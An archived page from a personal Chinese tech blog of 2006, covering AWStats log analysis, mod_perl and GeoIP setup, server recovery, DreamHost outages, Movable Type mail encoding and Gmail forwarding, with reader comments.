1	fashion.goodmood.com.cn
1	faq4me.net
1	eyodo.com
1	eyiwu.com
1	etxly.com
1	erbbs.com
1	emule-project.net
1	efp8.com
1	eexb.com
1	edu110.com
1	eceel.com
1	easyburg.com
1	eastrader.net
1	eastday.com
1	eachtong.net
1	e521.cn
1	e21st.net
1	dzwz.cn
1	duiben.com
1	druggcp.net
1	dopod.net
1	dmw.tw
1	dl-hm.com
1	diseasedoc.com
1	disease.100kang.com
1	diamei.com
1	deli8.com
1	debug.cn
1	ddxu.com
1	daqing.net
1	daoyi.com
1	dachesky.com
1	cttsd.com
1	ctceo.com
1	csuchen.de
1	cssa-nott.org.uk
1	csgrd.com
1	crane88.com
1	coovee.com
1	cool.citk.net
1	coolapple.com
1	comm.ccidnet.com
1	coatren.com
1	cnyidu.com
1	cn-wu.com
1	cnweb20.com
1	cnwear.com
1	cnscape.com
1	cnpenjing.com
1	cnmai.com
1	cnlyjd.com
1	cnlicai.net
1	cnkongtiao.com
1	cnimages.com
1	cngsf.com
1	cnfp.net
1	cnfeol.com
1	cndu.cn
1	cndec.com
1	cnctrip.com
1	cnasp.net
1	club.sj263.com
1	cixuanfu.com
1	chinesefortunecalendar.com
1	chineseculture.about.com
1	china-visit.com
1	chinavegan.com
1	chinasln.com
1	chinapp.com
1	chinaphs.com
1	china-obgyn.net
1	chinahtp.com
1	chinadbs.com
1	chinadbs.cn
1	china.cfhot.com
1	chengdu.8684.cn
1	cheapbuy.cn
1	cfi.cn
1	cfhot.com
1	cebiz.cn
1	cdcman.com
1	cchere.com
1	ccdn.cn
1	cari.com.my
1	caijing365.com
1	caij.cn
1	buy.b2b168.com
1	busnc.com
1	business-bbs.com
1	bumpily.com
1	btimes.org
1	bond.cnfol.com
1	blog.stockstar.com
1	blog.fastclick.gd.cn
1	bjjdwx.com
1	biz-yp.com
1	biz.jqcq.com
1	bizhat.com
1	bbs.zswcn.com
1	bbs.zhangla.com
1	bbs.okbbs.com
1	bbs.home369.cn
1	bbs.calsunshine.info
1	bbs2.0110.cn
1	bbs1.feeeco.com
1	bbs1.0110.cn
1	bbs01.com
1	bbjia.com
1	bashang.net
1	baigei.net
1	baby521.cn
1	atvip.net
1	asppsa.net
1	askuu.org
1	arthd.com
1	anywlan.com
1	amway-shanghai.com
1	aloenet.com
1	aiphp.com
1	ailide.net
1	a-c.com.cn
1	about.com
1	abbs.com
1	aayi.com
1	9to.com
1	9iwz.com
1	9flower.net
1	9a9aa.com
1	97tour.com
1	92box.com
1	91test.net
1	91phone.com
1	91pda.cn
1	91le.net
1	91fuzhuang.com
1	91239.com
1	86exp.com
1	7t24.net
1	7738.cn
1	733733.com
1	71tg.com
1	69123.com
1	66ad.cn
1	62e.net
1	5y99.cn
1	5i5art.com
1	588288.com
1	5520.org
1	52jk.org
1	52huangjin.com
1	5225.net
1	5203gp.com
1	51ytt.com
1	51travel.info
1	51oa.net
1	51kang.com
1	51.ca
1	51bin.com
1	51769.cn
1	51581.com
1	3gpsd.com
1	3gplay.net
1	3gpclub.com
1	3g-home.com
1	356.yi.org
1	320000.com
1	301301.com
1	2shoushichang.com
1	21yyw.com
1	21yifu.com
1	21our.com
1	2009shop.com
1	1life.com.cn
1	1kum.com
1	19boy.com
1	191best.com
1	17gogo.com
1	163wap.com.cn
1	1234566.com
1	120online.org
1	1188cc.com
1	100ye.com
1	100woman.com
1	100shop.com
1	100jk.com
1	100an.com
1	10000top.com
1	0910.org
1	0898.com
1	0559u.com
29665	合计

按每个网站实际流量是最低流量的5倍计算：这些网站AdSense每天的流量为1.5亿。

[AWStats] 加入新搜索引擎定义：114.vnet.cn

Fri, 01 Sep 2006 21:22:25 +0800

最近发现了从114.vnet.cn的搜索流量：是中国电信互联星空旗下网站，后台搜索引擎是百度

[chedong@chedong logs]$ grep vnet.cn * |awk  '{print $4,$11}'|more
[27/Aug/2006:20:21:00 "http://114.vnet.cn/search_web.html?ct=201326592&cl=2&lm=-1&tn=baiduimage&id=1&kw=che+"
[28/Aug/2006:15:13:24 "http://114.vnet.cn/search_web.html?ct=201326592&cl=2&lm=-1&tn=baiduimage&id=1&kw=%C3%E2%B7%D1%C9%B1%B6
%BE%C8%ED%BC%FE&b2=%CB%D1%CB%F7"
[28/Aug/2006:22:30:21 "http://114.vnet.cn/search_web.html?kw=%B5%D8%CD%BC&submit2=%CB%D1+%CB%F7&start=50"
[28/Aug/2006:22:49:01 "http://114.vnet.cn/search_web.html?id=1&kw=%C3%E2%B7%D1%C9%B1%B6%BE%C8%ED%BC%FE"
[28/Aug/2006:23:26:10 "http://114.vnet.cn/search_web.html?id=&kw=%B3%B5"
[29/Aug/2006:02:04:44 "http://114.vnet.cn/search_web.html?kw=che&submit2=%CB%D1+%CB%F7"
[29/Aug/2006:15:05:14 "http://114.vnet.cn/search_web.html?kw=che"
[30/Aug/2006:22:53:56 "http://114.vnet.cn/search_web.html?id=1&kw=che"
[31/Aug/2006:14:44:59 "http://114.vnet.cn/search_web.html?kw=%C3%E2%B7%D1%C9%B1%B6%BE%C8%ED%BC%FE&submit2=%CB%D1+%CB%F7"
[31/Aug/2006:15:31:54 "http://114.vnet.cn/search_web.html?ct=201326592&cl=2&lm=-1&tn=baiduimage&id=1&kw=%B3%B5"
[31/Aug/2006:19:14:20 "http://114.vnet.cn/search_web.html?kw=che&submit2=%CB%D1+%CB%F7"
[31/Aug/2006:20:31:03 "http://114.vnet.cn/search_web.html?kw=\xd7\xee\xd0\xc2\xb5\xc4\xc3\xe2\xb7\xd1\xc9\xb1\xb6\xbe\xc8\xed
\xbc\xfe&id="
[01/Sep/2006:11:04:20 "http://114.vnet.cn/search_web.html?kw=%C3%E2%B7%D1%C9%B1%B6%BE%C8%ED%BC%FE&submit2=%CB%D1+%CB%F7"
[01/Sep/2006:13:06:22 "http://114.vnet.cn/search_web.html?kw=motorola+mobile+PhoneTools+&submit2=%CB%D1+%CB%F7"
[24/Aug/2006:21:10:46 "http://114.vnet.cn/search_web.html?kw=\xd6\xa5\xbb\xaa\xca\xbf\xb9\xe3\xb8\xe6\xc7\xfa\xcf\xc2\xd4\xd8
&id=1&start=10"
[26/Aug/2006:23:34:14 "http://114.vnet.cn/search_web.html?id=1&kw=www.8812345%2Fcom%2F"
[26/Aug/2006:23:36:12 "http://114.vnet.cn/search_web.html?ct=201326592&cl=2&lm=-1&tn=baiduimage&id=1&kw=www.8812345%2Fcom%2F&
b2=%CB%D1%CB%F7"
[27/Aug/2006:23:32:44 "http://114.vnet.cn/search_web.html?ct=201326592&cl=2&lm=-1&tn=baiduimage&id=1&kw=www.8812345%2Fcom%2F&
start=0"
[28/Aug/2006:21:32:06 "http://114.vnet.cn/search_web.html?id=1&kw=www.8812345"
[29/Aug/2006:12:57:22 "http://114.vnet.cn/search_web.html?kw=%D6%A5%BB%AA%CA%BF&submit2=%CB%D1+%CB%F7"
[29/Aug/2006:13:52:58 "http://114.vnet.cn/search_web.html?kw=%D6%A5%BB%AA%CA%BF&submit2=%CB%D1+%CB%F7"
[30/Aug/2006:23:43:57 "http://114.vnet.cn/search_web.html?kw=%D6%A5%BB%AA%CA%BF"
[01/Sep/2006:03:43:40 "http://114.vnet.cn/search_web.html?kw=%B4%F3%B5%C0%D3%B0%D4%BA&submit=%CB%D1+%CB%F7"
[01/Sep/2006:11:26:56 "http://114.vnet.cn/search_web.html?kw=%D4%B2%C3%F7%D4%B0&start=30"
[01/Sep/2006:11:35:39 "http://114.vnet.cn/search_web.html?kw=%D4%B2%C3%F7%D4%B0&start=30"
[01/Sep/2006:12:11:18 "http://114.vnet.cn/search_web.html?kw=%D6%A5%BB%AA%CA%BF"
[01/Sep/2006:13:44:57 "http://114.vnet.cn/search_web.html?ct=201326592&cl=2&lm=-1&tn=baiduimage&id=1&kw=www.8812345"
[01/Sep/2006:17:00:24 "http://114.vnet.cn/search_web.html?kw=\xb0\xd9\xb6\xc9mp3\xb8\xe8\xc7\xfa&id=&start=10"
[01/Sep/2006:20:24:04 "http://114.vnet.cn/search_web.html?kw=%BA%AB%BE%E7&start=30"

9月20日更新：114.vnet.cn已经改用Msn Live Search

FlickR的雅虎通插件FlickengR：好友图片连环播

Wed, 30 Aug 2006 23:11:24 +0800

你的FlickR朋友多吗：托雅虎通8.0开放插件开发的福，John Dunning开发了一个FlickengR插件：可以在雅虎通里浏览/播放雅虎通联系人和Flickr好友的最新图片，发现同事里用FlickR的还真不少……

如果有雅虎通，可以到这里下载FlickengR安装。启动后的效果如图：

使用的时候，如果找不到你的yahoo地址在FlickR上的帐号关联，会要求你输入FlickR的screen name（注意：不是FlickR的登录名，是screen name，比如我的screen name就是“Che Dong”），然后就可以看到导入FlickR好友的最新图片列表了。

DSO模式安装mod_perl备忘

Mon, 21 Aug 2006 19:05:49 +0800

下载：mod_perl 目前最新版本是1.29 wget http://perl.apache.org/dist/mod_perl-1.0-current.tar.gz 解包后，

%perl Makefile.PL USE_APXS=1 WITH_APXS=/home/apache/bin/apxs EVERYTHING=1 %make #make install

mod_perl的作用和eAccelerator差不多，面向perl应用的预编译。通过phpinfo可以看到Apache Version Apache/1.3.37 (Unix) mod_perl/1.29 PHP/4.4.2

Will configure via APXS (apxs=/home/apache/bin/apxs) ************* WARNING *************
Your Perl is linked with -lpthread, make sure that your httpd is built with LIBS=-lpthread

************* WARNING ************* PerlDispatchHandler………enabled PerlChildInitHandler……..enabled PerlChildExitHandler……..enabled PerlPostReadRequestHandler..enabled PerlTransHandler…………enabled PerlHeaderParserHandler…..enabled PerlAccessHandler………..enabled PerlAuthenHandler………..enabled PerlAuthzHandler…………enabled PerlTypeHandler………….enabled PerlFixupHandler…………enabled PerlHandler……………..enabled PerlLogHandler…………..enabled PerlInitHandler………….enabled PerlCleanupHandler……….enabled PerlRestartHandler……….enabled PerlStackedHandlers………enabled PerlMethodHandlers……….enabled PerlDirectiveHandlers…….enabled PerlTableApi…………….enabled PerlLogApi………………enabled PerlUriApi………………enabled PerlUtilApi……………..enabled PerlFileApi……………..enabled PerlConnectionApi………..enabled PerlServerApi……………enabled PerlSections…………….enabled PerlSSI…………………enabled Will run tests as User: ‘chedong’ Group: ‘apache’ Configuring mod_perl for building via APXS

在DreamHost上使用AWStats国家/地区统计： GeoIP和GeoCity Lite的配置方法

Tue, 15 Aug 2006 13:20:07 +0800

今天看了一下：QiRan.ORG: awstats6.5安装笔记，发现原来Dreamhost是直接支持GeoIP的。相应的perl模块已经安装了：可以看到man page。

设置后的输出效果如下

具体配置过程附后：

可惜Dreamhost的GeoIP.dat已经是去年6月份的数据了，有些旧： /usr/local/share/GeoIP/GeoIP.dat -rw-r–r– 1 root root 714742 2005-06-07 21:39 /usr/local/share/GeoIP/GeoIP.dat

而且DreamHost缺省也没有安装GeoLite City库，如果想用GeoIP和GeoLiteCity的最新的数据可以直接从MaxMind下载： wget http://www.maxmind.com/download/geoip/database/GeoLiteCity.dat.gz

然后配置geoip和geoip_city的插件使用相应的数据文件即可： LoadPlugin=“geoip GEOIP_STANDARD /home/chedong/chejun.com/cgi-bin/awstats/GeoIP.dat” LoadPlugin=“geoip_city_maxmind GEOIP_STANDARD /home/chedong/chejun.com/cgi-bin/awstats/GeoLiteCity.dat”

比较一下最新County数据库和dreamhost的文件大小 ll GeoIP.dat -rw-rw-r– 1 chejun pg551459 924100 2006-08-02 12:01 GeoIP.dat [chejun@whittier /home/.blondie/chedong/chejun.com/cgi-bin/awstats]$ ll /usr/local/share/GeoIP/GeoIP.dat -rw-r–r– 1 root root 714742 2005-06-07 21:39 /usr/local/share/GeoIP/GeoIP.dat

以前的一篇装文档： http://www.flickr.com/photos/chedong/110325758/

2006-08-18 Dreamhost的回复： We run the Debian Sarge Stable version of libgeoip1, and will not be upgrading it until the package is updated in Stable.

歪打正着之：免费杀毒软件和芝华士广告

Sun, 13 Aug 2006 12:26:52 +0800

你的网站上是不是也有很多这种被人意外搜索到的内容呢？

如果不是看日志统计：真的是很难想象niernier.com上3年以来最著名的关键词是“芝华士”：这篇帖子的300多篇评论中也包含那首广告歌的歌手的回复。 12639个关键字词搜索次数百分比芝华士 6996 8.2 % 芝华士 5471 6.4 % 芝华士广告歌 1860 2.1 % 芝华士广告 1670 1.9 %

我的网站上今年的统计如下： 85647 个关键字词搜索百分比 cvs 24254 3.5 % apache 20363 2.9 % spoolsv.exe 14912 2.1 % spoolsv 14538 2.1 % 免费杀毒软件 14294 2 % lucene 11809 1.7 % ant 9209 1.3 % gb2312 8551 1.2 % 脑筋急转弯 7707 1.1 % 色情网站 7498 1 %

cvs和lucene都是4年前写的文档了，虽说现在有些内容已经过时，作为入门参考还是足够。免费杀毒软件和spoolsv.exe就有些意外了：只能说明越来越多的用户受到了病毒和各种插件的骚扰。

而如果“色情网站"这个词能搜到我的文章，找到的说明纯粹是一次系统漏洞造成的盗链事故，估计让来访用户失望了……

💬 历史评论

以下 4 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

AWStats中的gb2312关键词问题

Wed, 02 Aug 2006 16:47:59 +0800

从上7月开始：我发现自己的AWStats统计中出现了gb2312和sitehao123这个关键词而且量很大： gb2312 6515 11.3 % spoolsv 3152 5.5 % spoolsv.exe 2712 4.7 % cvs 1873 3.2 % apache 1761 3 % phpinfo 1600 2.7 % lucene 1160 2 % sitehao123 1157 2 % ant 864 1.5 % 但无论从那个搜索引擎上搜，通过这2个关键词也找不到我的页面啊？检查了一下统计，gb2312从6月份的统计中就开始有了。8月1日，新的一轮AWStats统计开始，仔细检查了一下apache的原始日志：从来源看，应该是来自百度的搜索结果页： “http://www.baidu.com/s?lm=0&si=&rn=10&tn=sitehao123&ie=gb2312&ct=0&wd=免费杀毒软件&pn=10&cl=3”

其中tn是百度的合作网站代码，ie表示input encoding：表示输入字符串的字符集，而AWStats中有一个选项： LevelForKeywordsDetection=2 # 0 disables Keyphrases/Keywords detection. 当设置为2的时候，会将来源网址中的所有参数进行遍历和自动识别，容易将一些其他参数的值当成关键词参数，这样的统计结果会丢失来源中实际的关键词。

解决方法：除了修改awstats.pl代码外，awstats其实在search_engines.pm中有一个参数列表定义：专门用于过滤掉可能产生歧义的参数列表：WordsToCleanSearchUrl @WordsToCleanSearchUrl= (‘act=’,‘annuaire=’,‘btng=’,‘cat=’,‘categoria=’,‘cfg=’,‘cof=’,‘cou=’,‘count=’,‘cp=’,‘dd=’,‘domain=’,‘dt=’,‘dw=’,’enc=’,’exec=’,‘geo=’,‘hc=’,‘height=’,‘hits=’,‘hl=’,‘hq=’,‘hs=’,‘id=’,‘kl=’,’lang=’,’loc=’,’lr=’,‘matchmode=’,‘medor=’,‘message=’,‘meta=’,‘mode=’,‘order=’,‘page=’,‘par=’,‘pays=’,‘pg=’,‘pos=’,‘prg=’,‘qc=’,‘refer=’,‘sa=’,‘safe=’,‘sc=’,‘sort=’,‘src=’,‘start=’,‘style=’,‘stype=’,‘sum=’,’tag=’,’temp=’,’theme=’,’type=’,‘url=’,‘user=’,‘width=’,‘what=’,’\.x=’,’\.y=’,‘y=’,’look=’); 将tn=和ie=加入到其中：tn=’,‘ie=’,’ 以后输出的参数中就不会有gb2312和tn=的值了。

以下是使用新WordsToCleanSearchUrl过滤参数的统计结果：免费杀毒软件 191 7.5 % spoolsv.exe 168 6.6 % spoolsv 138 5.4 % cvs 111 4.3 % phpinfo 73 2.8 % apache 72 2.8 % lucene 58 2.2 % 脑筋急转弯 40 1.5 %

服务器硬盘故障恢复备忘

Sun, 30 Jul 2006 22:38:31 +0800

大概是从上周四晚上开始，托管的服务器就无法访问。周五请机房重启后，仍然无法登录，干脆拔掉网线，过一个不插电的周末。

周六中午，赶到机房，尝试重启几次，发现硬盘已经无法引导了（grub error 17）。联系机器的提供商提供了块新硬盘（才用了半年），在机房现刻安装光盘，重新安装系统……这就是大概的经过了。虽然平时做了完整的apache和mysql的备份，但是恢复还是花了半天的时间。这就是用虚拟主机的好处：虽然DreamHost偶尔有掉链子的时候，可是至少不用跑机房啊……

新系统使用的是Fedora Core 4。回家学习使用了一下yum，和debian的apt-get差不多了：而且软件包的依赖关系整理的比较好。

以下是应用的安装备忘：2006年7月30日星期日 00时18分

用awk生成关闭服务的脚本：关闭不需要的服务 sudo /sbin/chkconfig –list| grep 3:on | awk ‘{print “/sbin/chkconfig “$1” off”}’ /sbin/chkconfig acpid off /sbin/chkconfig anacron off /sbin/chkconfig apmd off /sbin/chkconfig auditd off /sbin/chkconfig autofs off /sbin/chkconfig bluetooth off /sbin/chkconfig cpuspeed off /sbin/chkconfig cups off /sbin/chkconfig gpm off /sbin/chkconfig haldaemon off /sbin/chkconfig iptables off /sbin/chkconfig isdn off /sbin/chkconfig kudzu off /sbin/chkconfig mDNSResponder off /sbin/chkconfig mdmonitor off /sbin/chkconfig messagebus off /sbin/chkconfig netfs off /sbin/chkconfig nfslock off /sbin/chkconfig nifd off /sbin/chkconfig pcmcia off /sbin/chkconfig portmap off /sbin/chkconfig rhnsd off /sbin/chkconfig rpcgssd off /sbin/chkconfig rpcidmapd off /sbin/chkconfig sendmail off /sbin/chkconfig xfs off

MT3.31中邮件乱码问题的解决: MailEncoding utf-8

Tue, 25 Jul 2006 10:13:58 +0800

用上MT以后就会上瘾：3.2后的第一个发布版本3.31不仅对个人免费了，而且增加了对tag的支持，很多朋友应该可以升级了。

不过19日安装以后我发现一个问题：留言中的中文都变成了"???"。今天再这里找到了解决方法，就是在mt-config.cgi中增加一行配置： MailEncoding utf-8 安装MT3.31后的一个小问题(解决办法) (Yang Kang)。

但这个设置目前在MT的官方网站上没有相关说明：只是在代码库中有相关的代码，不知道杨康是怎么找到的。

大辉还向Pronet邮件列表发了信：得到的回复是一样的。

由此我还想到了Bugzilla是不是也可以用类似的配置解决邮件的乱码问题呢？

💬 历史评论

以下 6 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

CnYouker · 2006-07-25 10:34

^_^，不错，收藏，免得以后遇到一样的问题。谢谢了！

Fenng · 2006-07-25 11:27

你注意到了么，杨康的做法似乎有点奇怪。

sleetdrop · 2006-07-25 14:42

正想问大哥这个问题呢!这就有了，谢谢了。

刘庆 · 2006-07-26 00:49

你好,我想问一下现在你用的这个模板可以提供一份吗?? 我不是搞这方面的什么也不懂谢谢啊

杨康 · 2006-08-06 14:14

Fenng,

我在我的文章中把mt-config.cgi误写成了config.cgi. 加一行代码应该不算奇怪：）

sokgo.com · 2009-09-04 16:02

MT4 也有这问题.试试看

慎用DreamHost

Wed, 19 Jul 2006 16:19:07 +0800

桑林和DBANotes都说最近他们在dreamhost的空间最近有down机导致的流量损失，我用ssh登录到服务器上：服务器机器是3天前重启的，而且目前系统负载也比较高。 02:58:39 up 3 days, 20:00, 3 users, load average: 1.80, 3.24, 4.15 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT

从日志统计看：15日当前有比较长的down机时间，而且15日以后4天的日志文件也丢了。之前得到的是大辉的折扣：第一年 25$，把几个亲友朋友的空间都搬过去了，现在看来还是要注意备份一下。假设一台服务器有500个用户（而且每个用户还可以申请75个子帐号），这是一个多大的数字，几乎都支持客户再对外提供一个虚拟主机服务了。

2006-07-23 今天又一次电力故障，DreamHost和以色列和黎巴嫩一起成为了TechnoRati的热门关键词。

附：目前的dreamhost磁盘空间情况，可能采用的是nfs方式的磁盘扩展。不少服务器磁盘空间已经用爆掉了，其实磁盘空间一般用到85%就很危险了。查看DreamHost最新的服务器的状况 2006-08-10 更新：目前这个服务器机群共 5TB 空间使用率90% 总使用量： 90%
空闲：4994.30 GB 使用：45517.73 GB
全部：50512.58 GB

💬 历史评论

以下 24 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

Fenng · 2006-07-19 16:33

没有绝对的自由 :)

Cloudream · 2006-07-19 16:40

oversell了？……

Vingle · 2006-07-19 17:56

Dreamhost Sucks。

zola · 2006-07-19 19:37

AWStats中的未知浏览器/SPIDER的发现机制

Fri, 07 Jul 2006 15:50:17 +0800

很久以来，AWStats统计中的浏览器信息一直让我非常不解的是未知浏览器的流量比例一直很高，最近半年以来一直在10-20%左右。浏览器离线浏览器（网页抓取）文件数百分比 MS Internet Explorer 否 222874 65.3 % Firefox 否 43591 12.7 % Netscape 否 25954 7.6 % Potu (RSS Reader) 否 14209 4.1 % ** 无法得知 ? 11422 3.3 %** Mozilla 否 5508 1.6 % GreatNews (RSS Reader) 否 5246 1.5 % Opera 否 4323 1.2 % BonEcho (Firefox 2.0 development) 否 1650 0.4 % FeedDemon (RSS Reader) 否 1435 0.4 % 其他 4710 1.3 %

FireFox的自动更新 1.5.0.4 => 1.5.0.5

Wed, 05 Jul 2006 11:16:24 +0800

FireFox 1.5用户的升级速度很快，本月比例：1.5.0.4在6月初发布的一个月后大部分用户已经升级 Firefox 1.5.0.4 否 23075 10 % Firefox 1.5.0.3 否 1144 0.4 % Firefox 1.5.0.2 否 422 0.1 % Firefox 1.5.0.1 否 450 0.1 %

对比一下5月份的比例：大部分用户当时是用1.5.0.3 Firefox 1.5.0.4 否 2487 0.1 % Firefox 1.5.0.3 否 161038 10.1 % Firefox 1.5.0.2 否 18101 1.1 % Firefox 1.5.0.1 否 9762 0.6 %

而作为高危漏洞软件之首的FireFox 1.0用户正在稳步下降： 5月份比例： Firefox 1.0.8 否 1296 0 % Firefox 1.0.7 否 9496 0.5 % Firefox 1.0.6 否 4202 0.2 %

地震了（北京刚才），有感觉吗？

Tue, 04 Jul 2006 12:03:08 +0800

我在16层晃了几下，

爸爸住西边: 24层 Jun: 地震有感觉吗？ Che: 有 Jun: 在楼顶，很明显！在文安（音）5.1级

太太在中关村：12层 Ada: 我们这边地震了 Che: 有感觉

今天我打算都走楼梯……

💬 历史评论

以下 10 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

妮妮 · 2006-07-04 12:24

妮妮在三楼，专心写东西，没有发现，特此记录！

喜欢车东写“太太”二字，嘻嘻！

自由人 · 2006-07-04 12:30

我在北外，桌子都晃动了．

redmoon · 2006-07-04 12:51

我在北二环晃得厉害啊

tinyfool · 2006-07-04 12:53

双井，震感很强烈，玻璃门剧烈摇晃

qiyang · 2006-07-04 13:28

我在天津六楼很明显差点摔倒５５５５５５５５５５５５５５

仍然人 · 2006-07-04 13:49

新华网石家庄７月４日电（记者李俊义　朱峰）记者从河北省廊坊市文安县委办公室获悉，有关部门已派人赶赴文安震区进行调查，根据目前了解的情况，尚未发现在地震中有人员伤亡和财产损失。

据中国地震台网测定：４日上午１１时５６分，在河北文安发生５．１级地震，震中位于北纬３８．９度，东经１１６．３度，北京、天津、河北石家庄、保定等地均有震感。 

文安县委办公室有关人员介绍说，全县共有１２个乡镇，截至４日中午１２时４０分，已有６个乡镇上报地震情况，目前还没有发现人员伤亡和财产损失，但并不排除这种情况的发生。 

文安县位于河北省廊坊市境内，距离北京１２０公里左右，距天津约７０公里。（完）

cyq · 2006-07-04 14:20

[AWStats]6.6中的蜘蛛和搜索引擎数据库更新

Sun, 02 Jul 2006 11:04:20 +0800

最近sf.net的CVS库的访问有些更新，原先从cvs.sourceforge.net同步的代码现在要改成通过projectname.cvs.sourceforge.net了。所以如果原先有AWStats代码通过cvs进行更新，需要将CVS/Root文件改成awstats.cvs.sourceforge.net，（或者重新导出）。

仍在cvs中的6.6：从robots.pm和search_engines.pm的更新日志中就可以发现去年下半年以来针对各种robots/RSS reader的统计和各种搜索引擎的统计是越来越丰富了（甚至区分了雅虎美国的蜘蛛Slurp和雅虎中国的蜘蛛Slurp China），今天的统计输出： 53 个机器人* 文件数字节最近参观日期 Yahoo Slurp 8750+183 60.60 M字节 2006年七月 01日 23:59 Yahoo! Slurp China 7032+120 40.09 M字节 2006年七月 01日 23:59 而来自referer spam的列表也已经有3132条记录了，部分的统计项目(蜘蛛/搜索引擎)都增加了官方网站的链接，但是明显国外开发人员不是很了解中国目前的情况，在很多统计项目中仍然有些落后于实际的情况：比如将TencentTraveler当成蜘蛛，没有计入来自sogou soso等新的搜索引擎的来源等。根据cvs版本中的配置重新更新后的文件：lib/robots.pm和search_engines.pm可以直接下载。效果可以看看这里：用户名 awstats 密码 awstats http://www.chedong.com/cgi-bin/awstats/awstats.pl?config=chedong

以下是更新内容：也向AWStats项目提交了patch 希望有人能帮忙“顶”一下。 https://sourceforge.net/tracker/?func=detail&aid=1384243&group_id=13764&atid=313764 https://sourceforge.net/tracker/?func=detail&aid=745359&group_id=13764&atid=313764

Index: robots.pm

RCS file: /cvsroot/awstats/awstats/wwwroot/cgi-bin/lib/robots.pm,v retrieving revision 1.43 diff -r1.43 robots.pm 100d99 < # added TencentTraveler 180,181d178 < # added sogou spider http://corp.sohu.com/20051130/n240842344.shtml < # added sogou test http://corp.sohu.com/20051130/n240842344.shtml 472a470,472

‘iaskspider’, ‘hl_ftien_spider’, ‘sogou’, 835d834 < ’tencenttraveler’, # Must be before msiecrawler 899,900d897 < ‘sogou\sspider’, < ‘sogou\stest’, 1125a1123,1125 ‘iaskspider’,’Sina Iask Spider’, ‘hl_ftien_spider’,’Hylanda’, ‘sogou’,’Sogou Spider’, 1463d1462 < ’tencenttraveler’,‘TencentTraveler’, # Must be before msiecrawler. 1527,1528d1525 < ‘sogou\sspider’,’sogou spider’, < ‘sogou\stest’,’sogou test’,

将个人域名邮箱迁移到GMail

Fri, 23 Jun 2006 14:47:34 +0800

虽然Google和MSN都开通了your domain 的mail hosting服务，但是目前让自己个人域名邮箱利用上它们服务的最简单方法就是：利用邮箱自动转发功能将原有邮箱的邮件转发到 Gmail帐号上，然后就可以充分利用 GMail的功能了，感觉最大的好处在于： 1 反垃圾邮件： GMail的anti spam做的还是比较好的，缺点：对于很多中文垃圾邮件识别率低一些；有时会将从MT发出的垃圾评论确认误当作是spam邮件，试过其他邮箱 yahoo.com/hotmail.com 甚至比Gmail的错误率还要高一个数量级； 2 基于web的主题浏览：基于ajax的浏览的确很提高查看效率，删除垃圾邮件也很方便； 3 大空间：目前我的所有的邮件都转发到GMail上** “目前您已经使用了2737 MB中的166 MB(6%)。”**

其实其他邮箱除了做好anti spam外，最需要向gmail学的就2点： 1 直接进入收件箱，让用户少一次鼠标点击； 2 有广告可以：不要使用flash（大大降低页面浏览速度）：比如 hotmail最近已经将右侧的广告位取消了； 3 字符集的自动识别：尤其是对utf-8格式邮件的支持； 4 假发送时间的自动纠正：经常有垃圾邮件发送时间是2038年，以求排在所有邮件的最前面；

大部分的虚拟主机的个人域名邮箱都是支持设置邮件转发的，而免费邮箱中：目前 @netease.com @yeah.net @sohu.com 是支持设置邮件转发的；其他邮箱@sina.com @163.com @hotmail.com @yahoo.com都不支持邮件转发（可能是为了防止用户流失吧……）；

后记：使用这个功能是因为自己的@chedong.com邮箱，一开始使用的是虎翼网的邮件系统，开始垃圾邮件比较少，现在已经非常多了（90%以上）。后来换用过一段时间dreamhost的邮件系统，国外的虚拟主机服务商一般比较重视和一些anti spam组织的合作，定期会同步黑名单之类的。垃圾邮件少了很多，但仍然有40%左右。发现原来邮件一般都可以转发的，最后还是使用转发＋gmail了：也不用非要申请使用自己的域名。

2007-04：GMail邮箱的支持收取其他邮箱的POP了（包括SSL）。 http://flickr.com/photos/chedong/461370626/ 2007-05： MT系统的留言通知直接发送到gmail邮箱会由于服务器不是发信人的MX而遭到GMail的垃圾标记。解决的办法有2个：将MT服务器设置为MX，将邮件发送到@yeah.net/@netease.com等支持转发的邮箱，然后转发到@gmail.com，这时候SPF验证就可以通过了： Received-SPF: pass (google.com: domain of #####@yeah.net designates 60.12.227.137 as permitted sender)

SPF is not an anti-spam feature (it is anti-forgery - it should stop people forging your domain in spam that they send).

相关文章： [cnblog: 最信任的邮件调查](http://blog.cnblog.org/archives/2006/05/email.html) [Rebecca：邮箱使用调查](http://rconversation.spaces.msn.com/blog/cns!A325F2EACCC417CF!110.entry) [大辉：给垃圾邮件分类](http://www.dbanotes.net/review/spam_email.html)

💬 历史评论

以下 14 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

Movable Type: 原来是活字印刷的意思

Fri, 16 Jun 2006 15:04:27 +0800

在Jedi的MT手册上：有一段关于Movable Type的原意说明： * 紙面出版系統 * 內容可重用 * 版面易套用 * 模組化處理 * 祇需要做一次苦工 * 增加出版效率

做为一套blog发布系统本身，Movable Type已经太有名了，以至于都快忘记了Movable Type的原本意思是指：活字印刷術（在西方最早的发明者是Gutenberg），这个命名很形象：因为如果互联网是这个时代的纸张，从可重用，模块化，提高效率这方面：blog这种系统的设计还真像是互联网时代的“活字”印刷术。

随着很多技术的成熟，WordPress、dotClear等基于PHP的blog平台也越来越多了，但是我还是推荐了Movable Type做为雅虎搜索日志的blog发布系统。还搜到2年前的一篇文章：Why your Movable Type blog must die || kuro5hin.org，可是文中提到的LiveJournal如今却已经和MT一起成为SixApart公司的一部分了。

💬 历史评论

以下 7 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

Fenng · 2006-06-16 15:16

我估计 Yahoo! 最后可能会收购 Sixapart 吧

Sixapart 的潜在资源还是不小的。

sleetdrop · 2006-06-16 16:15

Movabletype不错，就是自己比较笨，弄的不是很懂。

POPOEVER · 2006-06-16 17:33

昏倒一下，车东也太有趣了，到现在才知道~~~

POPOEVER · 2006-06-16 22:04

顺及: http://plod.popoever.com/archives/000701.html

小容 · 2006-06-17 09:21

去年11月份我去北京大兴区的时候,在最后离开的那天,跑去看那里的中国印刷博物馆,那时候想的第一个念头也是"原来Web log/微出版,就是网络上的活字印刷术,难怪MT的名字是这样取的",呵呵,我拍了很多照片,你可以选一张放在这里，让大家看看:)

